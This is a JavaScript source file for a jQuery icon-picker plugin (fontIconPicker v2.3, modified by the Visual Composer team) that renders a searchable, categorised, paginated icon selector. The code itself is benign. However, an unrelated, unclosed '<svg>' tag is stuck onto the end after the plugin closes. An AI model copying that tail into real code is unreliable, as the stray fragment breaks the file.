/**
 *  jQuery fontIconPicker - v2.3
 *
 *  An icon picker built on top of font icons and jQuery
 *
 *  http://codeb.it/fontIconPicker
 *
 *  Made by Alessandro Benoit & Swashata
 *  Under MIT License
 *
 * {@link https://github.com/micc83/fontIconPicker}
 *
 * Modified by Visual Composer Dev Team
 */

(function ( $ ) {

	'use strict';

	// Create the defaults once
	var defaults = {
		theme: 'fip-vc-theme-grey',              // The CSS theme to use with this fontIconPicker. You can set different themes on multiple elements on the same page
		source: false,                   // Icons source (array|false|object)
		emptyIcon: true,                    // Empty icon should be shown?
		emptyIconValue: '',                      // The value of the empty icon, change if you select has something else, say "none"
		iconsPerPage: 20,                      // Number of icons per page
		hasSearch: true,                    // Is search enabled?
		searchSource: false,                   // Give a manual search values. If using attributes then for proper search feature we also need to pass icon names under the same order of source
		useAttribute: false,                   // Whether to use attribute selector for printing icons
		attributeName: 'data-icon',             // HTML Attribute name
		convertToHex: true,                    // Whether or not to convert to hexadecimal for attribute value. If true then please pass decimal integer value to the source (or as value="" attribute of the select field)
		allCategoryText: 'From all categories',   // The text for the select all category option
		unCategorizedText: 'Uncategorized',         // The text for the select uncategorized option
		iconDownClass: 'fip-icon-down-dir',     // Class for icon down
		iconUpClass: 'fip-icon-up-dir',       // Class for icon up
		iconLeftClass: 'fip-icon-left-dir',     // Class for icon left
		iconRightClass: 'fip-icon-right-dir',    // Class for icon right
		iconSearchClass: 'fip-icon-search',       // Class for search
		iconCancelClass: 'fip-icon-cancel',       // Class for search canceling
		iconSpinClass: 'fip-icon-spin3',        // Class for fip-icon-spin3
		iconBlockClass: 'fip-icon-block',        // Class for block(none icon)
		searchPlaceholder: 'Search Icon',            // Search icon text placeholder
		mainClass: 'vc-icons-selector'
	};

	// The actual plugin constructor
	function Plugin( element, options ) {
		this.element = $( element );
		this.settings = $.extend( {}, defaults, options );
		if ( this.settings.emptyIcon ) {
			this.settings.iconsPerPage --;
		}
		this.iconPicker = $( '<div/>', {
			'class': this.settings.mainClass,
			style: 'position: relative',
			html: '<div class="selector">' +
			'<span class="selected-icon">' +
			'<i class="fip-block-icon ' + this.settings.iconBlockClass + '"></i>' +
			'</span>' +
			'<span class="selector-button">' +
			'<i class="' + this.settings.iconDownClass + '"></i>' +
			'</span>' +
			'</div>' +
			'<div class="selector-popup" style="display: none;">' + ((this.settings.hasSearch) ?
				'<div class="selector-search">' +
				'<input type="text" name="" value="" placeholder="' + this.settings.searchPlaceholder + '" class="icons-search-input"/>' +
				'<i class="' + this.settings.iconSearchClass + '"></i>' +
				'</div>' : '') +
			'<div class="selector-category">' +
			'<select name="" class="icon-category-select" style="display: none">' +
			'</select>' +
			'</div>' +
			'<div class="fip-icons-container"></div>' +
			'<div class="selector-footer" style="display:none;">' +
			'<span class="selector-pages">1/2</span>' +
			'<span class="selector-arrows">' +
			'<span class="selector-arrow-left" style="display:none;">' +
			'<i class="' + this.settings.iconLeftClass + '"></i>' +
			'</span>' +
			'<span class="selector-arrow-right">' +
			'<i class="' + this.settings.iconRightClass + '"></i>' +
			'</span>' +
			'</span>' +
			'</div>' +
			'</div>'
		} );
		this.iconContainer = this.iconPicker.find( '.fip-icons-container' );
		this.searchIcon = this.iconPicker.find( '.selector-search i' );
		this.iconsSearched = [];
		this.isSearch = false;
		this.totalPage = 1;
		this.currentPage = 1;
		this.currentIcon = false;
		this.initialized = false;
		this.iconsPaged = false;
		this.iconsCount = 0;
		this.open = false;

		// Set the default values for the search related variables
		this.searchValues = [];
		this.availableCategoriesSearch = [];

		// The trigger event for change
		this.triggerEvent = null;

		// Backups
		this.backupSource = [];
		this.backupSearch = [];

		// Set the default values of the category related variables
		this.isCategorized = false; // Automatically detects if the icon listing is categorized
		this.selectCategory = this.iconPicker.find( '.icon-category-select' ); // The category SELECT input field
		this.selectedCategory = false; // false means all categories are selected
		this.availableCategories = []; // Available categories, it is a two dimensional array which holds categorized icons
		this.unCategorizedKey = null; // Key of the uncategorized category

		// Initialize plugin
		this.quickInit();

	}

	Plugin.prototype = {
		/**
		 * Quick init
		 */
		quickInit: function () {
			var first = true;
			// Add the theme CSS to the iconPicker
			this.iconPicker.addClass( this.settings.theme );

			// To properly calculate iconPicker height and width
			// We will first append it to body (with left: -9999px so that it is not visible)
			this.iconPicker.css( {
				left: - 9999
			} ).appendTo( 'body' );
			var iconPickerHeight = this.iconPicker.outerHeight(),
				iconPickerWidth = this.iconPicker.outerWidth();

			// Now reset the iconPicker CSS
			this.iconPicker.css( {
				left: ''
			} );

			// Add the icon picker after the select
			this.element.before( this.iconPicker );

			// Hide source element
			// Instead of doing a display:none, we would rather
			// make the element invisible
			// and adjust the margin
			this.element.css( {
				visibility: 'hidden',
				top: 0,
				position: 'relative',
				zIndex: '-1',
				left: '-' + iconPickerWidth + 'px',
				display: 'none',
				height: iconPickerHeight + 'px',
				width: iconPickerWidth + 'px',
				// Reset all margin, border and padding
				padding: '0',
				margin: '0 -' + iconPickerWidth + 'px 0 0', // Left margin adjustment to account for dangling space
				border: '0 none',
				verticalAlign: 'top'
			} ).hide();

			// Set the trigger event
			if ( ! this.element.is( 'select' ) ) {
				// Determine the event that is fired when user change the field value
				// Most modern browsers supports input event except IE 7, 8.
				// IE 9 supports input event but the event is still not fired if I press the backspace key.
				// Get IE version
				// https://gist.github.com/padolsey/527683/#comment-7595
				var ieVersion = (function () {
					var v = 3, div = document.createElement( 'div' ), a = div.all || [];
					while ( div.innerHTML = '<!--[if gt IE ' + (++ v) + ']><br><![endif]-->', a[ 0 ] ) {
						;
					}
					return v > 4 ? v : ! v;
				}());
				var el = document.createElement( 'div' );
				this.triggerEvent = (ieVersion === 9 || ! ('oninput' in el)) ? [ 'keyup' ] : [
					'input',
					'keyup'
				]; // Let's keep the keyup event for scripts that listens to it
			}
			this.setSelectedIcon( this.element.val() );
			/**
			 * Category changer
			 */
			this.selectCategory.on( 'change keyup', $.proxy( function ( e ) {
				// Don't do anything if not categorized
				if ( this.isCategorized === false ) {
					return false;
				}
				var targetSelect = $( e.currentTarget ),
					currentCategory = targetSelect.val();
				// Check if all categories are selected
				if ( targetSelect.val() === 'all' ) {
					// Restore from the backups
					// @note These backups must be rebuild on source change, otherwise it will lead to error
					this.settings.source = this.backupSource;
					this.searchValues = this.backupSearch;
					// No? So there is a specified category
				} else {
					var key = parseInt( currentCategory, 10 );
					if ( this.availableCategories[ key ] ) {
						this.settings.source = this.availableCategories[ key ];
						this.searchValues = this.availableCategoriesSearch[ key ];
					}
				}
				this.resetSearch();
				this.loadIcons();
			}, this ) );

			/**
			 * On down arrow click
			 */
			this.iconPicker.find( '.selector-button' ).on( 'click', $.proxy( function () {
				if ( ! this.open && first ) {
					first = false;
					this.initCategories();
				}
				// Open/Close the icon picker
				this.toggleIconSelector();

			}, this ) );

			/**
			 * Next page
			 */
			this.iconPicker.find( '.selector-arrow-right' ).on( 'click', $.proxy( function ( e ) {

				if ( this.currentPage < this.totalPage ) {
					this.iconPicker.find( '.selector-arrow-left' ).show();
					this.currentPage = this.currentPage + 1;
					this.renderIconContainer();
					this.renderIcons();
				}

				if ( this.currentPage === this.totalPage ) {
					$( e.currentTarget ).hide();
				}

			}, this ) );

			/**
			 * Prev page
			 */
			this.iconPicker.find( '.selector-arrow-left' ).on( 'click', $.proxy( function ( e ) {

				if ( this.currentPage > 1 ) {
					this.iconPicker.find( '.selector-arrow-right' ).show();
					this.currentPage = this.currentPage - 1;
					this.renderIconContainer();
					this.renderIcons();
				}

				if ( this.currentPage === 1 ) {
					$( e.currentTarget ).hide();
				}

			}, this ) );

			/**
			 * Realtime Icon Search
			 */
			this.iconPicker.find( '.icons-search-input' ).on( 'keyup', $.proxy( function ( e ) {

				// Get the search string
				var searchString = $( e.currentTarget ).val();

				// If the string is not empty
				if ( searchString === '' ) {
					this.resetSearch();
					return;
				}

				// Set icon search to X to reset search
				this.searchIcon.removeClass( this.settings.iconSearchClass );
				this.searchIcon.addClass( this.settings.iconCancelClass );

				// Set this as a search
				this.isSearch = true;

				// Reset current page
				this.currentPage = 1;

				// Actual search
				// This has been modified to search the searchValues instead
				// Then return the value from the source if match is found
				this.iconsSearched = [];
				$.grep( this.searchValues, $.proxy( function ( n, i ) {
					if ( n.toLowerCase().search( searchString.toLowerCase() ) >= 0 ) {
						this.iconsSearched[ this.iconsSearched.length ] = this.settings.source[ i ];
						return true;
					}
				}, this ) );
				// Filter duplicates
				this.iconsSearched = this.iconsSearched.filter( this.getOnlyUnique );
				// Render icon list
				this.renderIconContainer();
				this.renderIcons();
			}, this ) );

			/**
			 * Quit search
			 */
			this.iconPicker.find( '.selector-search i' ).on( 'click', $.proxy( function () {
				this.iconPicker.find( '.icons-search-input' ).focus();
				this.resetSearch();
			}, this ) );

			/**
			 * On icon selected
			 */
			this.iconContainer.on( 'click', '.fip-box', $.proxy( function ( e ) {
				this.setSelectedIcon( $( e.currentTarget ).find( 'i' ).attr( 'data-fip-value' ) );
				this.toggleIconSelector();
			}, this ) );

			/**
			 * Stop click propagation on iconpicker
			 */
			this.iconPicker.on( 'click', function ( event ) {
				event.stopPropagation();
				return false;
			} );

			/**
			 * On click out
			 */
			$( 'html' ).on( 'click', $.proxy( function () {
				if ( this.open ) {
					this.toggleIconSelector();
				}
			}, this ) );

		},

		/**
		 * Init
		 */
		init: function () {

			// Add the theme CSS to the iconPicker
			this.iconPicker.addClass( this.settings.theme );

			// To properly calculate iconPicker height and width
			// We will first append it to body (with left: -9999px so that it is not visible)
			this.iconPicker.css( {
				left: - 9999
			} ).appendTo( 'body' );
			var iconPickerHeight = this.iconPicker.outerHeight(),
				iconPickerWidth = this.iconPicker.outerWidth();

			// Now reset the iconPicker CSS
			this.iconPicker.css( {
				left: ''
			} );

			// Add the icon picker after the select
			this.element.before( this.iconPicker );

			// Hide source element
			// Instead of doing a display:none, we would rather
			// make the element invisible
			// and adjust the margin
			this.element.css( {
				visibility: 'hidden',
				top: 0,
				position: 'relative',
				zIndex: '-1',
				left: '-' + iconPickerWidth + 'px',
				display: 'none',
				height: iconPickerHeight + 'px',
				width: iconPickerWidth + 'px',
				// Reset all margin, border and padding
				padding: '0',
				margin: '0 -' + iconPickerWidth + 'px 0 0', // Left margin adjustment to account for dangling space
				border: '0 none',
				verticalAlign: 'top'
			} ).hide();

			// Set the trigger event
			if ( ! this.element.is( 'select' ) ) {
				// Determine the event that is fired when user change the field value
				// Most modern browsers supports input event except IE 7, 8.
				// IE 9 supports input event but the event is still not fired if I press the backspace key.
				// Get IE version
				// https://gist.github.com/padolsey/527683/#comment-7595
				var ieVersion = (function () {
					var v = 3, div = document.createElement( 'div' ), a = div.all || [];
					while ( div.innerHTML = '<!--[if gt IE ' + (++ v) + ']><br><![endif]-->', a[ 0 ] ) {
						;
					}
					return v > 4 ? v : ! v;
				}());
				var el = document.createElement( 'div' );
				this.triggerEvent = (ieVersion === 9 || ! ('oninput' in el)) ? [ 'keyup' ] : [
					'input',
					'keyup'
				]; // Let's keep the keyup event for scripts that listens to it
			}

			this.initCategories();

			/**
			 * Category changer
			 */
			this.selectCategory.on( 'change keyup', $.proxy( function ( e ) {
				// Don't do anything if not categorized
				if ( this.isCategorized === false ) {
					return false;
				}
				var targetSelect = $( e.currentTarget ),
					currentCategory = targetSelect.val();
				// Check if all categories are selected
				if ( targetSelect.val() === 'all' ) {
					// Restore from the backups
					// @note These backups must be rebuild on source change, otherwise it will lead to error
					this.settings.source = this.backupSource;
					this.searchValues = this.backupSearch;
					// No? So there is a specified category
				} else {
					var key = parseInt( currentCategory, 10 );
					if ( this.availableCategories[ key ] ) {
						this.settings.source = this.availableCategories[ key ];
						this.searchValues = this.availableCategoriesSearch[ key ];
					}
				}
				this.resetSearch();
				this.loadIcons();
			}, this ) );

			/**
			 * On down arrow click
			 */
			this.iconPicker.find( '.selector-button' ).on( 'click', $.proxy( function () {

				// Open/Close the icon picker
				this.toggleIconSelector();

			}, this ) );

			/**
			 * Next page
			 */
			this.iconPicker.find( '.selector-arrow-right' ).on( 'click', $.proxy( function ( e ) {

				if ( this.currentPage < this.totalPage ) {
					this.iconPicker.find( '.selector-arrow-left' ).show();
					this.currentPage = this.currentPage + 1;
					this.renderIconContainer();
					this.renderIcons();
				}

				if ( this.currentPage === this.totalPage ) {
					$( e.currentTarget ).hide();
				}

			}, this ) );

			/**
			 * Prev page
			 */
			this.iconPicker.find( '.selector-arrow-left' ).on( 'click', $.proxy( function ( e ) {

				if ( this.currentPage > 1 ) {
					this.iconPicker.find( '.selector-arrow-right' ).show();
					this.currentPage = this.currentPage - 1;
					this.renderIconContainer();
					this.renderIcons();
				}

				if ( this.currentPage === 1 ) {
					$( e.currentTarget ).hide();
				}

			}, this ) );

			/**
			 * Realtime Icon Search
			 */
			this.iconPicker.find( '.icons-search-input' ).on( 'keyup', $.proxy( function ( e ) {

				// Get the search string
				var searchString = $( e.currentTarget ).val();

				// If the string is not empty
				if ( searchString === '' ) {
					this.resetSearch();
					return;
				}

				// Set icon search to X to reset search
				this.searchIcon.removeClass( this.settings.iconSearchClass );
				this.searchIcon.addClass( this.settings.iconCancelClass );

				// Set this as a search
				this.isSearch = true;

				// Reset current page
				this.currentPage = 1;

				// Actual search
				// This has been modified to search the searchValues instead
				// Then return the value from the source if match is found
				this.iconsSearched = [];
				$.grep( this.searchValues, $.proxy( function ( n, i ) {
					if ( n.toLowerCase().search( searchString.toLowerCase() ) >= 0 ) {
						this.iconsSearched[ this.iconsSearched.length ] = this.settings.source[ i ];
						return true;
					}
				}, this ) );
				// Filter duplicates
				this.iconsSearched = this.iconsSearched.filter( this.getOnlyUnique );
				// Render icon list
				this.renderIconContainer();
				this.renderIcons();
			}, this ) );

			/**
			 * Quit search
			 */
			this.iconPicker.find( '.selector-search i' ).on( 'click', $.proxy( function () {
				this.iconPicker.find( '.icons-search-input' ).focus();
				this.resetSearch();
			}, this ) );

			/**
			 * On icon selected
			 */
			this.iconContainer.on( 'click', '.fip-box', $.proxy( function ( e ) {
				this.setSelectedIcon( $( e.currentTarget ).find( 'i' ).attr( 'data-fip-value' ) );
				this.toggleIconSelector();
			}, this ) );

			/**
			 * Stop click propagation on iconpicker
			 */
			this.iconPicker.on( 'click', function ( event ) {
				event.stopPropagation();
				return false;
			} );

			/**
			 * On click out
			 */
			$( 'html' ).on( 'click', $.proxy( function () {
				if ( this.open ) {
					this.toggleIconSelector();
				}
			}, this ) );

		},

		initCategories: function () {
			// If current element is SELECT populate settings.source
			if ( ! this.settings.source && this.element.is( 'select' ) ) {
				// Reset the source and searchSource
				// These will be populated according to the available options
				this.settings.source = [];
				this.settings.searchSource = [];

				// Check if optgroup is present within the select
				// If it is present then the source has to be grouped
				if ( this.element.find( 'optgroup' ).length ) {
					// Set the categorized to true
					this.isCategorized = true;
					this.element.find( 'optgroup' ).each( $.proxy( function ( i, el ) {
						// Get the key of the new category array
						var thisCategoryKey = this.availableCategories.length,
							// Create the new option for the selectCategory SELECT field
							categoryOption = $( '<option />' );

						// Set the value to this categorykey
						categoryOption.attr( 'value', thisCategoryKey );
						// Set the label
						categoryOption.html( $( el ).attr( 'label' ) );

						// Append to the DOM
						this.selectCategory.append( categoryOption );

						// Init the availableCategories array
						this.availableCategories[ thisCategoryKey ] = [];
						this.availableCategoriesSearch[ thisCategoryKey ] = [];

						// Now loop through it's option elements and add the icons
						$( el ).find( 'option' ).each( $.proxy( function ( i, cel ) {
							var newIconValue = $( cel ).val(),
								newIconLabel = $( cel ).html();

							// Check if the option element has value and this value does not equal to the empty value
							if ( newIconValue && newIconValue !== this.settings.emptyIconValue ) {
								// Push to the source, because at first all icons are selected
								this.settings.source.push( newIconValue );

								// Push to the availableCategories child array
								this.availableCategories[ thisCategoryKey ].push( newIconValue );

								// Push to the search values
								this.searchValues.push( newIconLabel );
								this.availableCategoriesSearch[ thisCategoryKey ].push( newIconLabel );
							}
						}, this ) );
					}, this ) );

					// Additionally check for any first label option child
					if ( this.element.find( '> option' ).length ) {
						this.element.find( '> option' ).each( $.proxy( function ( i, el ) {
							var newIconValue = $( el ).val(),
								newIconLabel = $( el ).html();

							// Don't do anything if the new icon value is empty
							if ( ! newIconValue || newIconValue === '' || newIconValue == this.settings.emptyIconValue ) {
								return true;
							}

							// Set the uncategorized key if not set already
							if ( this.unCategorizedKey === null ) {
								this.unCategorizedKey = this.availableCategories.length;
								this.availableCategories[ this.unCategorizedKey ] = [];
								this.availableCategoriesSearch[ this.unCategorizedKey ] = [];
								// Create an option and append to the category selector
								$( '<option />' ).attr( 'value',
									this.unCategorizedKey ).html( this.settings.unCategorizedText ).appendTo( this.selectCategory );
							}

							// Push the icon to the category
							this.settings.source.push( newIconValue );
							this.availableCategories[ this.unCategorizedKey ].push( newIconValue );

							// Push the icon to the search
							this.searchValues.push( newIconLabel );
							this.availableCategoriesSearch[ this.unCategorizedKey ].push( newIconLabel );
						}, this ) );
					}
					// Not categorized
				} else {
					this.element.find( 'option' ).each( $.proxy( function ( i, el ) {
						var newIconValue = $( el ).val(),
							newIconLabel = $( el ).html();
						if ( newIconValue ) {
							this.settings.source.push( newIconValue );
							this.searchValues.push( newIconLabel );
						}
					}, this ) );
				}

				// Clone and backup the original source and search
				this.backupSource = this.settings.source.slice( 0 );
				this.backupSearch = this.searchValues.slice( 0 );

				// load the categories
				this.loadCategories();
				// Normalize the given source
			} else {
				this.initSourceIndex();
				// No need to call loadCategories or take backups because these are called from the initSourceIndex
			}

			// Load icons
			this.loadIcons();
		},
		/**
		 * Get only unique values from array
		 * @param value
		 * @param index
		 * @param self
		 * @returns {boolean}
		 */
		getOnlyUnique: function ( value, index, self ) {
			return self.indexOf( value ) === index;
		},
		/**
		 * Init the source & search index from the current settings
		 * @return {void}
		 */
		initSourceIndex: function () {
			// First check for any sorts of errors
			if ( typeof(this.settings.source) !== 'object' ) {
				return;
			}

			// We are going to check if the passed source is an array or an object
			// If it is an array, then don't do anything
			// otherwise it has to be an object and therefore is it a categorized icon set
			if ( $.isArray( this.settings.source ) ) {
				// This is not categorized since it is 1D array
				this.isCategorized = false;
				this.selectCategory.html( '' ).hide();

				// We are going to convert the source items to string
				// This is necessary because passed source might not be "strings" for attribute related icons
				this.settings.source = $.map( this.settings.source, function ( e, i ) {
					if ( typeof(e.toString) == 'function' ) {
						return e.toString();
					} else {
						return e;
					}
				} );

				// Now update the search
				// First check if the search is given by user
				if ( $.isArray( this.settings.searchSource ) ) {
					// Convert everything inside the searchSource to string
					this.searchValues = $.map( this.settings.searchSource, function ( e, i ) {
						if ( typeof(e.toString) == 'function' ) {
							return e.toString();
						} else {
							return e;
						}
					} ); // Clone the searchSource
					// Not given so use the source instead
				} else {
					this.searchValues = this.settings.source.slice( 0 ); // Clone the source
				}
				// Categorized icon set
			} else {
				var originalSource = $.extend( true, {}, this.settings.source );

				// Reset the source
				this.settings.source = [];

				// Reset other variables
				this.searchValues = [];
				this.availableCategoriesSearch = [];
				this.selectedCategory = false;
				this.availableCategories = [];
				this.unCategorizedKey = null;

				// Set the categorized to true and reset the HTML
				this.isCategorized = true;
				this.selectCategory.html( '' );

				// Now loop through the source and add to the list
				for ( var categoryLabel in
					originalSource ) {
					// Get the key of the new category array
					var thisCategoryKey = this.availableCategories.length,
						// Create the new option for the selectCategory SELECT field
						categoryOption = $( '<option />' );

					// Set the value to this categorykey
					categoryOption.attr( 'value', thisCategoryKey );
					// Set the label
					categoryOption.html( categoryLabel );

					// Append to the DOM
					this.selectCategory.append( categoryOption );

					// Init the availableCategories array
					this.availableCategories[ thisCategoryKey ] = [];
					this.availableCategoriesSearch[ thisCategoryKey ] = [];

					// Now loop through it's icons and add to the list
					for ( var newIconKey in
						originalSource[ categoryLabel ] ) {
						// Get the new icon value
						var newIconValue = originalSource[ categoryLabel ][ newIconKey ];
						// Get the label either from the searchSource if set, otherwise from the source itself
						var newIconLabel = (this.settings.searchSource && this.settings.searchSource[ categoryLabel ] && this.settings.searchSource[ categoryLabel ][ newIconKey ]) ?
							this.settings.searchSource[ categoryLabel ][ newIconKey ] : newIconValue;

						// Try to convert to the source value string
						// This is to avoid attribute related icon sets
						// Where hexadecimal or decimal numbers might be passed
						if ( typeof(newIconValue.toString) == 'function' ) {
							newIconValue = newIconValue.toString();
						}
						// Check if the option element has value and this value does not equal to the empty value
						if ( newIconValue && newIconValue !== this.settings.emptyIconValue ) {
							// Push to the source, because at first all icons are selected
							this.settings.source.push( newIconValue );

							// Push to the availableCategories child array
							this.availableCategories[ thisCategoryKey ].push( newIconValue );

							// Push to the search values
							this.searchValues.push( newIconLabel );
							this.availableCategoriesSearch[ thisCategoryKey ].push( newIconLabel );
						}
					}
				}
			}

			// Clone and backup the original source and search
			this.backupSource = this.settings.source.slice( 0 );
			this.backupSearch = this.searchValues.slice( 0 );

			// Call the loadCategories
			this.loadCategories();
		},

		/**
		 * Load Categories
		 * @return {void}
		 */
		loadCategories: function () {
			// Dont do anything if it is not categorized
			if ( this.isCategorized === false ) {
				return;
			}

			// Now append all to the category selector
			$( '<option value="all">' + this.settings.allCategoryText + '</option>' ).prependTo( this.selectCategory );

			// Show it and set default value to all categories
			this.selectCategory.show().val( 'all' ).trigger( 'change' );
		},

		/**
		 * Load icons
		 */
		loadIcons: function () {

			// Set the content of the popup as loading
			this.iconContainer.html( '<i class="' + this.settings.iconSpinClass + ' animate-spin loading"></i>' );

			// If source is set
			if ( this.settings.source instanceof Array ) {

				// Render icons
				this.renderIconContainer();
				this.renderIcons();
				this.setContainerSelectedItems();
			}

		},

		/**
		 * Render icons inside the popup
		 */
		renderIconContainer: function () {

			var offset, iconsPaged = [];

			// Set a temporary array for icons
			if ( this.isSearch ) {
				iconsPaged = this.iconsSearched;
			} else {
				iconsPaged = this.settings.source;
			}

			// Remove duplicates
			iconsPaged = [ ...new Set( iconsPaged ) ];

			// Count elements
			this.iconsCount = iconsPaged.length;

			// Calculate total page number
			this.totalPage = Math.ceil( this.iconsCount / this.settings.iconsPerPage );

			// Hide footer if no pagination is needed
			if ( this.totalPage > 1 ) {
				this.iconPicker.find( '.selector-footer' ).show();
			} else {
				this.iconPicker.find( '.selector-footer' ).hide();
			}

			// Set the text for page number index and total icons
			this.iconPicker.find( '.selector-pages' ).html( this.currentPage + '/' + this.totalPage + ' <em>(' + this.iconsCount + ')</em>' );

			// Set the offset for slice
			offset = (this.currentPage - 1) * this.settings.iconsPerPage;

			// Should empty icon be shown?
			if ( this.settings.emptyIcon ) {
				// Reset icon container HTML and prepend empty icon
				this.iconContainer.html( '<span class="fip-box"><i class="fip-block-icon ' + this.settings.iconBlockClass + '" data-fip-value="' + this.settings.iconBlockClass + '"></i></span>' );

				// If not show an error when no icons are found
			} else if ( iconsPaged.length < 1 ) {
				this.iconContainer.html( '<span class="icons-picker-error"><i class="fip-block-icon ' + this.settings.iconBlockClass + '" data-fip-value="' + this.settings.iconBlockClass + '"></i></span>' );
				return;

				// else empty the container
			} else {
				this.iconContainer.html( '' );
			}

			// Set an array of current page icons
			iconsPaged = iconsPaged.slice( offset, offset + this.settings.iconsPerPage );
			this.iconsPaged = iconsPaged;
			// List icons
			/*for (var i = 0, item; item = iconsPaged[i++];) {
			 // Set the icon title
			 var flipBoxTitle = item;
			 $.grep(this.settings.source, $.proxy(function (e, i) {
			 if (e === item) {
			 flipBoxTitle = this.searchValues[i];
			 return true;
			 }
			 return false;
			 }, this));

			 // Set the icon box
			 $('<span/>', {
			 html: '<i data-fip-value="' + item + '" ' + (this.settings.useAttribute ? (this.settings.attributeName + '="' + ( this.settings.convertToHex ? '&#x' + parseInt(item, 10).toString(16) + ';' : item ) + '"') : 'class="' + item + '"') + '></i>',
			 'class': 'fip-box',
			 title: flipBoxTitle
			 }).appendTo(this.iconContainer);
			 }*/

		},

		setContainerSelectedItems: function () {
			// If no empty icon is allowed and no current value is set or current value is not inside the icon set
			if ( ! this.settings.emptyIcon && (! this.element.val() || $.inArray( this.element.val(),
					this.settings.source ) === - 1) ) {

				// Get the first icon
				this.setSelectedIcon( this.iconsPaged[ 0 ] );

			} else if ( $.inArray( this.element.val(), this.settings.source ) === - 1 ) {

				// Set empty
				this.setSelectedIcon();

			} else {

				// Set the default selected icon even if not set
				this.setSelectedIcon( this.element.val() );
			}
		},
		/**
		 * Set Highlighted icon
		 */
		setHighlightedIcon: function () {
			this.iconContainer.find( '.current-icon' ).removeClass( 'current-icon' );
			if ( this.currentIcon ) {
				this.iconContainer.find( '[data-fip-value="' + this.currentIcon + '"]' ).parent( 'span' ).addClass( 'current-icon' );
			}
		},

		/**
		 * Set selected icon
		 *
		 * @param {string} theIcon
		 */
		setSelectedIcon: function ( theIcon ) {
			if ( theIcon === this.settings.iconBlockClass ) {
				theIcon = '';
			}

			// Check if attribute is to be used
			if ( this.settings.useAttribute ) {
				if ( theIcon ) {
					this.iconPicker.find( '.selected-icon' ).html( '<i ' + this.settings.attributeName + '="' + ( this.settings.convertToHex ? '&#x' + parseInt( theIcon,
								10 ).toString( 16 ) + ';' : theIcon ) + '"></i>' );
				} else {
					this.iconPicker.find( '.selected-icon' ).html( '<i class="fip-block-icon ' + this.settings.iconBlockClass + '"></i>' );
				}
				// Use class
			} else {
				this.iconPicker.find( '.selected-icon' ).html( '<i class="' + (theIcon || 'fip-block-icon ' + this.settings.iconBlockClass + '') + '"></i>' );
			}
			// Set the value of the element and trigger change event
			this.element.val( (theIcon === '' ? this.settings.emptyIconValue : theIcon ) ).trigger( 'change' );
			if ( this.triggerEvent !== null ) {
				// Trigger other events
				for ( var eventKey in
					this.triggerEvent ) {
					this.element.trigger( this.triggerEvent[ eventKey ] );
				}
			}
			this.currentIcon = theIcon;
			this.setHighlightedIcon();
		},

		/**
		 * Open/close popup (toggle)
		 */
		toggleIconSelector: function () {
			this.open = (! this.open) ? 1 : 0;
			this.iconPicker.find( '.selector-popup' ).slideToggle( 300 );
			this.iconPicker.find( '.selector-button i' ).toggleClass( this.settings.iconDownClass );
			this.iconPicker.find( '.selector-button i' ).toggleClass( this.settings.iconUpClass );
			if ( this.open ) {
				this.iconPicker.find( '.icons-search-input' ).focus().select();
				if ( ! this.initialized ) {
					this.renderIconContainer();
					this.renderIcons();
					this.initialized = true;
				}
			}
		},

		renderIcons: function () {
			for ( var i = 0;
				  i < this.iconsPaged.length;
				  i ++ ) {
				var item = this.iconsPaged[ i ];
				// Set the icon title
				var flipBoxTitle = item;
				$.grep( this.settings.source, $.proxy( function ( e, i ) {
					if ( e === item ) {
						flipBoxTitle = this.searchValues[ i ];
						return true;
					}
					return false;
				}, this ) );

				// Set the icon box
				$( '<span/>', {
					html: '<i data-fip-value="' + item + '" ' + (this.settings.useAttribute ? (this.settings.attributeName + '="' + ( this.settings.convertToHex ? '&#x' + parseInt( item,
							10 ).toString( 16 ) + ';' : item ) + '"') : 'class="' + item + '"') + '></i>',
					'class': 'fip-box',
					title: flipBoxTitle
				} ).appendTo( this.iconContainer );
			}
			this.setContainerSelectedItems();
		},

		/**
		 * Reset search
		 */
		resetSearch: function () {

			// Empty input
			this.iconPicker.find( '.icons-search-input' ).val( '' );

			// Reset search icon class
			this.searchIcon.removeClass( this.settings.iconCancelClass );
			this.searchIcon.addClass( this.settings.iconSearchClass );

			// Go back to page 1 and remove back arrow
			this.iconPicker.find( '.selector-arrow-left' ).hide();
			this.currentPage = 1;
			this.isSearch = false;

			// Rerender icons
			this.renderIconContainer();
			this.renderIcons();

			// Restore pagination if needed
			if ( this.totalPage > 1 ) {
				this.iconPicker.find( '.selector-arrow-right' ).show();
			}
		}
	};

	// Lightweight plugin wrapper
	$.fn.vcFontIconPicker = function ( options ) {

		// Instantiate the plugin
		this.each( function () {
			if ( ! $.data( this, "vcFontIconPicker" ) ) {
				$.data( this, "vcFontIconPicker", new Plugin( this, options ) );
			}
		} );

		// setIcons method
		this.setIcons = $.proxy( function ( newIcons, iconSearch ) {
			if ( undefined === newIcons ) {
				newIcons = false;
			}
			if ( undefined === iconSearch ) {
				iconSearch = false;
			}
			this.each( function () {
				$.data( this, "vcFontIconPicker" ).settings.source = newIcons;
				$.data( this, "vcFontIconPicker" ).settings.searchSource = iconSearch;
				$.data( this, "vcFontIconPicker" ).initSourceIndex();
				$.data( this, "vcFontIconPicker" ).resetSearch();
				$.data( this, "vcFontIconPicker" ).loadIcons();
			} );
		}, this );

		// destroy method
		this.destroyPicker = $.proxy( function () {
			this.each( function () {
				if ( ! $.data( this, "vcFontIconPicker" ) ) {
					return;
				}
				// Remove the iconPicker
				$.data( this, "vcFontIconPicker" ).iconPicker.remove();
				// Reset the CSS
				$.data( this, "vcFontIconPicker" ).element.css( {
					visibility: '',
					top: '',
					position: '',
					zIndex: '',
					left: '',
					display: 'block',
					height: '',
					width: '',
					padding: '',
					margin: '',
					border: '',
					verticalAlign: ''
				} ).show();

				// destroy data
				$.removeData( this, "vcFontIconPicker" );
			} );
		}, this );

		// reInit method
		this.refreshPicker = $.proxy( function ( newOptions ) {
			if ( ! newOptions ) {
				newOptions = options;
			}
			// First destroy
			this.destroyPicker();

			// Now reset
			this.each( function () {
				if ( ! $.data( this, "vcFontIconPicker" ) ) {
					$.data( this, "vcFontIconPicker", new Plugin( this, newOptions ) );
				}
			} );
		}, this );

		return this;
	};

})( jQuery );<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
